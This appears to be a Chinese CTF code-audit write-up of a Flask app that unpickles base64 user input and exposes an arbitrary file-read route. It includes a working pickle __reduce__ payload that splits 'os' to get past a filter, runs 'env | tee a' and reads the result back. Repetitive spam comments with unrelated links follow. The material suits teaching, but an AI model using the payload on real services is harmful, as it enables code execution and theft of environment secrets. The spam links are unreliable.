代码审计
import base64
import pickle
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def index():
with open('app.py', 'r') as f:
return f.read()
@app.route('/calc', methods=['GET'])
def getFlag():
payload = request.args.get("payload")
pickle.loads(base64.b64decode(payload).replace(b'os', b''))
return "ganbadie!"
@app.route('/readFile', methods=['GET'])
def readFile():
filename = request.args.get('filename').replace("flag", "????")
with open(filename, 'r') as f:
return f.read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
关键代码
pickle.loads(base64.b64decode(payload).replace(b'os', b''))
会继续pickle反序列化,而且会替换os字符,还对flag进行了过滤替换
但是不会回显我们执行命令的结果,但是我们发现有一个读取文件的路由,所以思路基本上确定了,将命令执行的结果放在一个文件中
import pickle
import base64
class A():
def __reduce__(self):
return (eval,("__import__('o'+'s').system('env | tee a')",))
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
当然因为这道题没有过滤,所以可以这样写,但是很多情况都有过滤,需要我们opcode方法来写
博主真是太厉害了!!!
看的我热血沸腾啊https://www.237fa.com/
想想你的文章写的特别好https://www.ea55.com/
看的我热血沸腾啊www.jiwenlaw.com
《万界仙踪(修复版)》国产剧高清在线免费观看:https://www.jgz518.com/xingkong/142783.html
你的文章让我心情愉悦,每天都要来看一看。 https://www.4006400989.com/qyvideo/69701.html
你的文章让我感受到了生活的美好,谢谢! https://www.yonboz.com/video/43281.html
你的文章让我心情愉悦,每天都要来看一看。 https://www.4006400989.com/qyvideo/69701.html
你的文章让我感受到了生活的美好,谢谢! https://www.yonboz.com/video/43281.html